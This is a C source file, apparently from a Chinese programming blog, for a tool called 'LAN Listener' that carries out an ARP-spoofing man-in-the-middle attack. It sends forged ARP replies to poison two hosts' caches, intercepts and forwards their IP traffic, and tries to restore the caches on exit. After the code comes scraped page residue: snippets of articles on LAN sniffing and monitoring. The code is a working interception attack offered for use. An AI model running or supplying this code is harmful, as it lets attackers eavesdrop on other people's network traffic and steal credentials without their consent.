        if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) == -1){
            perror("get dev mac error");
            exit(1);
        }
    
        memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
        bind(sockfd,(struct sockaddr*)&to,sizeof(to));
        /**
          * 构造arp 请求包
          */
        memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
        memcpy(eth->ether_shost,src_mac,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);
    
        arp->arp_hrd = htons(ARPHRD_ETHER);
        arp->arp_pro = htons(ETHERTYPE_IP);
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op = htons(ARPOP_REQUEST);
        memcpy(arp->arp_sha,src_mac,ETH_ALEN);    
        memcpy(arp->arp_spa,&local_addr,4);
        memset(dst_mac,0,ETH_ALEN);
        memcpy(arp->arp_tha,dst_mac,ETH_ALEN);
        memcpy(arp->arp_tpa,&target_addr,4);
    
        /** 
          * 初始化一个参数结构体成员
          */
        memcpy(&arg.src_mac,src_mac,ETH_ALEN);
        memcpy(&arg.src_ip,&local_addr,4);
        memcpy(&arg.dst_ip,&target_addr,4);
    
        int count = 0,recv_try = 0,found = 0;
        /**
          * 最多尝试十次发送ARP请求报文.
          */
        while(count < 10 && found != 1){
            print_ether_header(sendbuffer);
            print_arp_packet((struct ether_arp*)(sendbuffer+sizeof(struct ether_header)));
            num = sendto(sockfd,sendbuffer,ETHER_BUF_LEN,0,(struct sockaddr*)&to,sizeof(to));
            if(num < 0){
                perror("send error");
                return 1;
            }
            else
                printf("send num = %d count = %d\n",num,count);
            /**
              * 最多尝试5次接收报文,若5次接收的报文不是对应的应答包,则继续发送ARP请求包。
              */
    
            while(recv_try < 5){
                num = recvfrom(sockfd,recvbuffer,ETHER_BUF_LEN,0,NULL,NULL);    
                if(num < 0){
                    perror("recv error");
                    recv_try ++;
                    continue;
                }else
                    printf("received %d byte(s) ,recv_try is %d\n",num,recv_try);
    
                printf("ether_frame header-----------\n");    
                printf("ether dst mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
                ethr->ether_dhost[0],ethr->ether_dhost[1],ethr->ether_dhost[2],\
                ethr->ether_dhost[3],ethr->ether_dhost[4],ethr->ether_dhost[5]);
                printf("ether src mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
                ethr->ether_shost[0],ethr->ether_shost[1],ethr->ether_shost[2],\
                ethr->ether_shost[3],ethr->ether_shost[4],ethr->ether_shost[5]);
                printf("ether type :%.4x\n",ntohs(ethr->ether_type));
                print_arp_packet((struct ether_arp*)(recvbuffer+sizeof(struct ether_header)));
    
                if(arp_match(&arg,recvbuffer) == 0){
                    memcpy(remote_mac,arpr->arp_sha,ETH_ALEN);
                    count++;
                    /**
                      * 尝试多次请求应答,测试程序的稳定性.
                      */
                     found = 1;
                     break;
    
                }
    
                recv_try++;
            }
    
            count++;
            recv_try = 0;
        }    
    
    
        close(sockfd);
    
        if(found == 1)
            return 0;
               return -1;
     }
    
    
    /**
     * 线程体,定时向目标IP发送 ARP 欺骗的应答报文。
     * 参数表:struct thread_args结构提指针。
     * 返回值:无。
     * 2014.5.24
     */
    void *thread_attack(void* args)
    {
        struct thread_args * p = (struct thread_args*) args;
        int socketfd,n;
        struct sockaddr_ll toaddr;
        struct in_addr sockaddr;
        struct ifreq ifr;
        unsigned char buffer[ETHER_BUF_LEN];
        unsigned char src_mac[ETH_ALEN];
        struct in_addr in_addr1,in_addr2;
    
        struct ether_header * eth = (struct ether_header*) buffer;
        struct ether_arp * arp = (struct ether_arp*) (buffer+sizeof(struct ether_header));
    
        bzero(&toaddr,sizeof(toaddr));
        bzero(&sockaddr,sizeof(sockaddr));
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name,p->interface_name);
        bzero(&in_addr1,sizeof(in_addr1));
        bzero(&in_addr2,sizeof(in_addr2));
        inet_pton(AF_INET,p->target_ip1,&in_addr1);
        inet_pton(AF_INET,p->target_ip2,&in_addr2);
    
        socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
        if(socketfd == -1){
            perror("thread_attack create socket error");
            exit(1);
        }
    
        if(ioctl(socketfd,SIOCGIFINDEX,&ifr) == -1){
            perror("get interface index error");
            exit(1);
        }
    
        toaddr.sll_ifindex = ifr.ifr_ifindex;
        toaddr.sll_family = PF_PACKET;
    
        if(ioctl(socketfd,SIOCGIFHWADDR,&ifr) == -1){
            perror("get interface hardware addr error");
            exit(1);
        }
    
        memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
    
        while(thread_stop != 1){
            /**
              * 构造以太网头,目标MAC地址为目标主机1的MAC地址,源MAC地址为本机MAC地址。
              */
            memcpy(eth->ether_dhost,p->target_mac1,ETH_ALEN);
            memcpy(eth->ether_shost,src_mac,ETH_ALEN);
            eth->ether_type = htons(ETHERTYPE_ARP);
    
            /**
               * 构造ARP 包
               */
            arp->arp_hrd = htons(ARPHRD_ETHER);
            arp->arp_pro = htons(ETHERTYPE_IP);
            arp->arp_hln = ETH_ALEN;
            arp->arp_pln = 4;
            arp->arp_op = htons(ARPOP_REPLY);
            memcpy(arp->arp_sha,src_mac,ETH_ALEN);
            memcpy(arp->arp_spa,&in_addr2,4);
            memcpy(arp->arp_tha,p->target_mac1,ETH_ALEN);
            memcpy(arp->arp_tpa,&in_addr1,4);        
            /**
               * 发送到目标机1
               */
            n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
    
            if(n < 0){
                perror("sendto");
            }else{
                printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr1));
            }
    
            /**
              * 调试代码
              */
            /*
            printf("打印欺骗ARP包:\n");    
            print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
            */
            /**
              * 构造以太网头,目标MAC地址为目标主机2的MAC地址,源MAC地址为本机MAC地址。
              */
            memcpy(eth->ether_dhost,p->target_mac2,ETH_ALEN);
            memcpy(eth->ether_shost,src_mac,ETH_ALEN);
            eth->ether_type = htons(ETHERTYPE_ARP);
    
            /**
               * 构造ARP 包
               */
            arp->arp_hrd = htons(ARPHRD_ETHER);
            arp->arp_pro = htons(ETHERTYPE_IP);
            arp->arp_hln = ETH_ALEN;
            arp->arp_pln = 4;
            arp->arp_op = htons(ARPOP_REPLY);
    
            memcpy(arp->arp_sha,src_mac,ETH_ALEN);
            memcpy(arp->arp_spa,&in_addr1,4);
            memcpy(arp->arp_tha,p->target_mac2,ETH_ALEN);
            memcpy(arp->arp_tpa,&in_addr2,4);        
            /**
               * 发送到目标机2
               */
            n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
            if(n < 0){
                perror("sendto");
            }else{
                printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr2));
            }
    
            /**
              * 调试代码
              */
            /*
            printf("打印欺骗ARP包:\n");    
            print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
            */
            sleep(1);
        }
    
        printf("攻击线程以停止。。。+++++++++++++++++++++++++++++++++++++++++++++。\n");
    }
    
    
    /**
     * 数据包转发函数,根据源MAC,目的MAC向指定接口转发该数据包。
     * 参数表:
     * inter:指定的网络接口。
     * dst_mac:目的MAC地址。
     * ip_data:ip数据。
     * send_num:数据包长度。
     * 返回值:成功0,失败-1。
     */
    int packet_forwarding(const char *inter,char *dst_mac,const char *ip_data,const int send_num)
    {
        char buffer[BUFLEN] = {0};
        int sendfd,num;
        struct sockaddr_ll toaddr;
        struct ifreq ifr;
        struct ether_header * eth = (struct ether_header*) buffer;    /* 指针eth指向以太网首部 */
        memcpy(buffer,ip_data,send_num);
    
        unsigned char local_mac[ETH_ALEN];
        static unsigned int count = 0;
        static unsigned int total_bytes = 0;
    
        bzero(&toaddr,sizeof(toaddr));
        bzero(&ifr,sizeof(ifr));    
        strcpy(ifr.ifr_name,inter);
    
        sendfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));
        if(sendfd == -1){
            perror("packet_forwarding create socket error");
            exit (1);
        }
    
        if(ioctl(sendfd,SIOCGIFINDEX,&ifr) == -1){
            perror("packet_forwarding get interface index error");
            exit (1);
        }
    
        toaddr.sll_ifindex = ifr.ifr_ifindex;
    
        if(ioctl(sendfd,SIOCGIFHWADDR,&ifr) == -1){
            perror("packet_forwarding get interface hardware error");
            exit(1);
        }
    
        memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
        toaddr.sll_family = AF_PACKET;
    
        /**
          * 修改以太网帧头部目的MAC和源MAC两个字段。
          */
        memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
        memcpy(eth->ether_shost,local_mac,ETH_ALEN);
        /**
          * 转发IP数据包
          */
        printf("打印转发包数据:\n");
        print_ether_header(buffer);
        print_ip_header((struct _ip *) (buffer+sizeof(struct ether_header)));
        if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0x06)
            print_tcp_header((struct _tcp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
        if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0xa1)
            print_udp_header((struct _udp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
    
        num = sendto(sendfd,buffer,send_num,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
        if(num <= 0){
            perror("packet_forwarding sendto error");
            return -1;
        }
    
        total_bytes += num;    
        printf("+++++++++++++++++++++++++++++++++++++    packet_forwarding ip packet %d byte(s),"\
             "total %u packet(s),and %u byte(s)\n",num,++count,total_bytes);
    
        close(sendfd);
    
        return 0;
    }
    
    /**
     * 监听函数,用于截获目标机之间的IP数据报,并调用相关函数执行转发。
     * 参数表:
     * interface_name:网络接口名。
     * target_ip1:目标主机1 IP地址。
     * target_ip2:目标主机2 IP地址。
     * mac1:目标主机1 mac地址。
     * mac2:目标主机2 mac地址。
     * 返回值:无。
     */
    int attack_listen(const char *interface_name,char *target_ip1,char *target_ip2,unsigned char *mac1,unsigned char*mac2)
    {
        int listenfd,num;
        struct sockaddr_ll fromaddr;
        struct in_addr sockaddr;
        struct ifreq ifr;
        unsigned char buffer[BUFLEN];
        struct ether_header * eth = (struct ether_header*) buffer;
        struct _ip * ip = (struct _ip*) (buffer+sizeof(struct ether_header));
        struct in_addr in_addr1,in_addr2,in_addr_local;
        unsigned char local_mac[ETH_ALEN]={0};
    
        bzero(&fromaddr,sizeof(struct sockaddr_ll));
        bzero(&sockaddr,sizeof(sockaddr));
        bzero(&ifr,sizeof(ifr));
        strcpy(ifr.ifr_name,interface_name);
        bzero(&in_addr1,sizeof(in_addr1));
        bzero(&in_addr2,sizeof(in_addr2));
    
        inet_pton(AF_INET,target_ip1,&in_addr1);
        inet_pton(AF_INET,target_ip2,&in_addr2);
    
        listenfd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_IP));
        if(listenfd == -1){
            perror("thread_attack create socket error");
            exit(1);
        }
    
        if(ioctl(listenfd,SIOCGIFINDEX,&ifr) == -1){
            perror("get interface index error");
            exit(1);
        }
    
        if(ioctl(listenfd,SIOCGIFHWADDR,&ifr) == -1){
            perror("get interface hardware error");
            exit(1);
        }
        memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
    
        if(ioctl(listenfd,SIOCGIFADDR,&ifr) == -1){
            perror("get interface addr error");
            exit(1);
        }
    
        in_addr_local.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr;
    
        fromaddr.sll_ifindex = ifr.ifr_ifindex;
        fromaddr.sll_family = PF_PACKET;
        fromaddr.sll_protocol = htons(ETH_P_IP);
        fromaddr.sll_hatype = ARPHRD_ETHER;
        fromaddr.sll_pkttype = PACKET_HOST;
        fromaddr.sll_halen = ETH_ALEN;
    
        bind(listenfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));
        printf("\n");
        while(1){
            memset(buffer,0,BUFLEN);
            num = recvfrom(listenfd,buffer,BUFLEN,0,NULL,NULL);
    
            /*printf("\nread %d bytes------------------\n",num);
            printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x--->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
            printf("  %.2x:%.2x:%.2x:%.2x:%.2x:%.2x   ",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
            printf("type %.4x\n",ntohs(eth->ether_type));*/
            if(ntohs(eth->ether_type) ==  0x0800){
                /*
                  * 若接收到一个目的mac地址为本机, 源mac是主机一或者主机2,且目的IP不是本机的数据包,则,转发它。
                  */
    
                if((memcmp(ethd,local_mac,ETH_ALEN) == 0) && (memcmp(ip->daddr,&in_addr_local,4) != 0)){
                    if(memcmp(eths,mac1,ETH_ALEN) == 0 ){
                        printf("+++++++++++++++++++++++++++++++++++++++++         ");
                        printf("need to transfer a packet.!\n");
                        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
                        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
                        packet_forwarding(interface_name,mac2,buffer,num);
                    }
                    if(memcmp(eths,mac2,ETH_ALEN) == 0){
                        printf("+++++++++++++++++++++++++++++++++++++++++         ");
                        printf("need to transfer a packet.!\n");
                        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
                        printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
                        packet_forwarding(interface_name,mac1,buffer,num);
                    }
                }else
                    printf("needless forwarding this packet------------------\n");
            }
        }
    
    
        return 0;
    }
    
    /**
     * SIGINT 信号处理函数,处理键盘Ctrl+C组合键。
     * 当按下Ctrl+C时,需要恢复两台目标主机正确的ARP缓存表,然后再退出本程序。
     * 说明,两种方式恢复,一是使用应答方式,二是是用请求方式,程序使用应答
     * 方式,但该函数没有成功,目标机没能更新到正确ARP缓存,尚未确定问题所在。
     * 2014.6.5
     */
    void quit_handler(int signum)
    {
        int sockfd;
        struct sockaddr_ll toaddr;
        struct ifreq ifr;
        unsigned char  buffer1[ETHER_BUF_LEN] = {0};    
        unsigned char  buffer2[ETHER_BUF_LEN] = {0};    
        struct in_addr in_addr1,in_addr2;
    
        bzero(&toaddr,sizeof(toaddr));
        bzero(&ifr,sizeof(ifr));
        bzero(&in_addr1,sizeof(in_addr1));
        bzero(&in_addr2,sizeof(in_addr2));
        inet_pton(AF_INET,global_ip1,&in_addr1);
        inet_pton(AF_INET,global_ip2,&in_addr2);
        strcpy(ifr.ifr_name,ifname);
    
        sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
        if(sockfd == -1){
            perror("socket error");
            exit (1);
        }
    
        if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
            perror("quit_handler get interface index error");
            exit (1);
        }
    
        toaddr.sll_ifindex = ifr.ifr_ifindex;
        toaddr.sll_family = PF_PACKET;
        toaddr.sll_protocol = htons(ETH_P_ARP);
        toaddr.sll_hatype = ARPHRD_ETHER;
        toaddr.sll_pkttype = PACKET_HOST;
        toaddr.sll_halen = ETH_ALEN;
    
        if(bind(sockfd,(struct sockaddr*)&toaddr,sizeof(toaddr)) == -1){
            perror("bind error");
            exit(1);
        }
        /**
          * 构造第一个arp报文
          */    
        struct ether_header * eth = (struct ether_header*) buffer1;
        struct ether_arp *arp = (struct ether_arp*) (buffer1 + sizeof(struct ether_header));
        unsigned char ff_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
        unsigned char zero_mac[] = {0x00,0x00,0x00,0x00,0x00,0x00};
        /**
          * 构造以太网头部,目标mac为主机1的mac,源mac为主机2的mac,即恢复主机1的arp缓存表。
          */
        memcpy(eth->ether_dhost,global_mac1,ETH_ALEN);
        memcpy(eth->ether_shost,global_mac2,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);
    
        /**
          * 构造arp各个数据字段。
          */
        arp->arp_hrd = htons(ARPHRD_ETHER);
        arp->arp_pro = htons(ETHERTYPE_IP);
        arp->arp_hln = ETH_ALEN;
        arp->arp_pln = 4;
        arp->arp_op = htons(ARPOP_REPLY);
        memcpy(arp->arp_sha,global_mac2,ETH_ALEN);
        memcpy(arp->arp_spa,&in_addr2,4);
        memcpy(arp->arp_tha,global_mac1,ETH_ALEN);
        memcpy(arp->arp_tpa,&in_addr1,4);
    
        /**
          * 构造第二个arp报文
          */    
        eth = (struct ether_header*) buffer2;
        arp = (struct ether_arp*) (buffer2 + sizeof(struct ether_header));
    
        /**
          * 构造以太网头部,目标mac为主机2的mac,源mac为主机1的mac,即恢复主机2的缓存表。
          */
        //memcpy(eth->ether_dhost,global_mac2,ETH_ALEN);
        memcpy(eth->ether_dhost,ff_mac,ETH_ALEN);
        memcpy(eth->ether_shost,global_mac1,ETH_ALEN);
        eth->ether_type = htons(ETHERTYPE_ARP);
    
        /**
          * 构造arp各个数据字段。
          */
        arp->arp_hrd = htons(ARPHRD_ETHER);
        arp->arp_hln = ETH_ALEN;
        arp->arp_pro = htons(ETHERTYPE_IP);
        arp->arp_pln = 4;
        arp->arp_op = htons(ARPOP_REPLY);
        memcpy(arp->arp_sha,global_mac1,ETH_ALEN);
        memcpy(arp->arp_spa,&in_addr1,4);
        memcpy(arp->arp_tha,global_mac2,ETH_ALEN);
        memcpy(arp->arp_tpa,&in_addr2,4);
    
        int n,sum = 2;
    
        /**
          *将线程结束标志置为真,结束攻击线程。
         */
    
        thread_stop = 1;
        sleep(1);
        printf("开始恢复主机缓存表----------------------------------------------------------\n");
    
        while(sum > 0){
            /**
              * 发送ARP 应答报文到目标主机1
              */
            n = sendto(sockfd,buffer1,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
            if(n < 0){
                perror("sendto error");
            }else
                printf("sendto %d byte(s)\n",n);
    
            /**
              * 调试语句,打印数据包各个字段值。
              */
            #ifdef _DEBUG
            printf("打印恢复包:\n");
            print_ether_header(buffer1);
            print_arp_packet((struct ether_arp*)(buffer1+sizeof(struct ether_header)));
            #endif
    
            /**
              * 发送ARP 应答报文到目标主机2
              */
            n = sendto(sockfd,buffer2,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
            if(n < 0){
                perror("sendto error");
            }else
                printf("sendto %d byte(s)\n",n);
    
            /**
              * 调试语句,打印数据包各个字段值。
              */
            #ifdef _DEBUG
            printf("打印恢复包:\n");
            print_ether_header(buffer2);
            print_arp_packet((struct ether_arp*)(buffer2+sizeof(struct ether_header)));
            #endif
    
            sum--;
            sleep(1);
        }
    
        close(sockfd);
        exit  (0);
    }
    
    /**
     * 打印软件信息。
     * 2014.5.29
     */
    void about_listener()
    {
        printf("LAN Listener 1.0.\n");
        printf("Author Wen Shifang.\n");
        printf("email 772148609@qq.com\n");
        printf("2014.5.29\n");
    }
    
    /**
     * 主函数,首先请求目标主机1,2的物理地址,然后向其发送arp欺骗报文,截获二者之间的IP数据报。
     * 命令行参数:
     * argc 参数个数。
     * argv 命令行参数字串。
     */
    int main(int argc,char** argv)
    {
    
        char *net_dev_name = argv[1];
        char *remote_ip1 = argv[2];
        char *remote_ip2 = argv[3];
    
        unsigned char remote_mac1[ETH_ALEN];
        unsigned char remote_mac2[ETH_ALEN];
    
        memset(remote_mac1,0,sizeof(remote_mac1));
        memset(remote_mac2,0,sizeof(remote_mac2));
    
        if(argc != 4){
            printf("\tUseage:  %s ifname ip1 ip2\n",argv[0]);
            printf("\tExample: ./main eth0 192.168.9.254 192.168.9.222\n");
            exit(1);
        }
    
        about_listener();
    
        if( get_mac_by_ip(net_dev_name,remote_ip1,remote_mac1) == -1){
            printf("host %s no response\n",remote_ip1);
            exit (1);
        }
        if( get_mac_by_ip(net_dev_name,remote_ip2,remote_mac2) == -1){
            printf("host %s no response\n",remote_ip2);
            exit (1);
        }
    
        printf("target 1 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
               remote_mac1[0],remote_mac1[1],remote_mac1[2],remote_mac1[3],remote_mac1[4],remote_mac1[5]);
        printf("target 2 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
               remote_mac2[0],remote_mac2[1],remote_mac2[2],remote_mac2[3],remote_mac2[4],remote_mac2[5]);
    
        struct thread_args * p = (struct thread_args*) malloc(sizeof(struct thread_args));
        if(!p){
            perror("malloc failed");
            exit(1);
        }
    
        strcpy(p->interface_name,net_dev_name);
        strcpy(p->target_ip1,remote_ip1);
        strcpy(p->target_ip2,remote_ip2);
        memcpy(p->target_mac1,remote_mac1,ETH_ALEN);
        memcpy(p->target_mac2,remote_mac2,ETH_ALEN);
    
        printf("target 1 ip address is ->>>>>> %s\n",p->target_ip1);
        printf("target 2 ip address is ->>>>>> %s\n",p->target_ip2);
        /**
          * 创建一个字线程,定时发送ARP欺骗包
          */
        pthread_t tid;
        if(pthread_create(&tid,NULL,thread_attack,p) != 0){
            perror("create thread failed");
            exit(1);
        }
    
        /**
          * 注册信号处理函数,quit_handler,SIGINT [Ctrl+C]。
         */
        memcpy(global_mac1,remote_mac1,ETH_ALEN);
        memcpy(global_mac2,remote_mac2,ETH_ALEN);
        strcpy(global_ip1,remote_ip1);
        strcpy(global_ip2,remote_ip2);
        strcpy(ifname,net_dev_name);
    
        if(signal(SIGINT,quit_handler) == SIG_ERR){
            perror("can not install signal handler");
            exit(1);
        }
    
        /**
          *开始监听目标主机间的通讯,并转发。
         */
        attack_listen(net_dev_name,remote_ip1,remote_ip2,remote_mac1,remote_mac2);
    
        return 0;
    }  
    
    展开全文
  • 通过分析ARP协议存在的漏洞及局域网基本工作原理,提出了基于SharpPcap平台的多线程网络监听技术。该技术通过向被监听主机发送ARP REQUEST包来实现任意两台局域网主机间的通信监听,同时利用线程池技术,避免了频繁创建...
  • Wireshark实战之局域网监听

    万次阅读 2017-09-24 11:03:54
    它是一款本地监听数据的大杀器,弊端是只能监听本地的数据,有什么办法可以让局域网中的流量都从本机走呢?第一ARP嗅探,劫持网关,再本地抓包. 第二交换机镜像端口,在路由或者交换机处设置,复制一份数据到指定机子端口....
  • 网络监听软件是提供给网络安全管理人员进行安全管理的工具,可以用来监视网络的状态、数据流动情况以及网络上传输的信息,以获取有用信息。作为黑客来说,通过网络监听可以获取其所需信息(比如密码等);对黑客活动...
  • 使用raw socket套接字进行编程,局域网内进行监听,可以监听局域网内所有人的帧。是信息安全课程的网络实验课。
  • 局域网监听的原理与实现

    千次阅读 2013-10-08 15:11:26
    局域网监听的原理与实现  随着计算机技术的发展,网络已日益成为生活中不可或缺的工具,但伴之而来的非法入侵也一直威胁着计算机网络系统的安全。由于局域网中采用广播方式,因此,在某个广播域中可以监听到...
  • 局域网监听的原理、实现与防范

    千次阅读 2013-09-11 20:19:49
    局域网监听的原理、实现与防范 一、引言 随着计算机技术的发展,网络已日益成为生活中不可或缺的工具,但随之而来的非法入侵也一直威胁着计算机网络系统的安全。由于局域网中采用广播方式,因此,在某个广播域中...
  • 局域网嗅探与监听

    2006-12-30 23:18:25
    不怀好意的邻居——局域网嗅探与监听作者:小金一. 谁偷看了我的网络日记检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本...
  • 由于局域网中采用广播方式,因此,在某个广播域中可以监听到所有的信息包。而黑客通过对信息包进行分析,就能获取局域网上传输的一些重要信息。事实上,很多黑客入侵时都把局域网扫描和侦听作为其最基本的步骤和手段...
  • 局域网数据包传输模式已经从广播式发展到了交换式,而且当前交换式网络已经获得了广泛应用。提出并实现了一个在通常的10M/100M交换式局域网环境下,运行于Windows 2000/XP主机上的信息监听系统。
  • 编程实现局域网监听工具

    千次阅读 2010-09-26 09:40:00
    网络中,数据是以帧的形式进行传输的。以TCP协议为例,当用户发送数据时,在传输层,用户数据的前端会附加TCP首部,TCP首部包括源端口号、目的端口号、位序号、确认序号等信息。在网络层会附加IP首部,IP...
  • 网络监听软件是提供给网络安全管理人员进行安全管理的工具,可以用来监视网络的状态、数据流动情况以及网络上传输的信息,以获取有用信息。作为黑客来说,通过网络监听可以获取其所需信息(比如密码等);对黑客...
  • 由于局域网中采用广播方式,因此,在某个广播域中可以监听到所有的信息包。而***通过对信息包进行分析,就能获取局域网上传输的一些重要信息。事实上,很多******时都把局域网扫描和侦听作为其最基本的步骤和手段,...
  • PhoneCall基于netty框架实现的局域网内的ip电话,netty是一个socket框架。通过输入对方ip或者点击从服务器上获取到的ip地址进行语音通话,双方通过交换控制信令实现语音通话的控制,共有四个界面的切换,打电话界面...
  • 由于局域网中采用广播方式,因此,在某个广播域中可以监听到所有的信息包。而黑客通过对信息包进行分析,就能获取局域网上传输的一些重要信息。事实上,很多黑客入侵时都把局域网扫描和侦听作为其最基本的步骤和手段...
  • 基于UDP协议的局域网网络聊天工具

    千次阅读 2014-06-09 15:18:23
    /* * 本程序实现了基于UDP协议的局域网网络聊天工具。 * 参考网上的源码,发现一个calss就可以搞定。 * ChatFrame类创建窗口,包含JTextField和TextArea。 * 前者负责获取并发送消息,后者负责显示消息。 * 在...
  • 网络监听

    2010-03-20 11:35:38
    网络监听技术概览 [url]http://www.ibm.com/developerworks/cn/security/se-sniff/index.html[/url] 网络嗅探与监听 围堵局域网中“耳朵” [url]http://cisco.chinaitlab.com/trouble/798323.html[/url] ...
  • 谁偷看了我的网络日记 检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本里,例如一些工作问题、心情想法、...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 530
精华内容 212
关键字:

局域网网络监听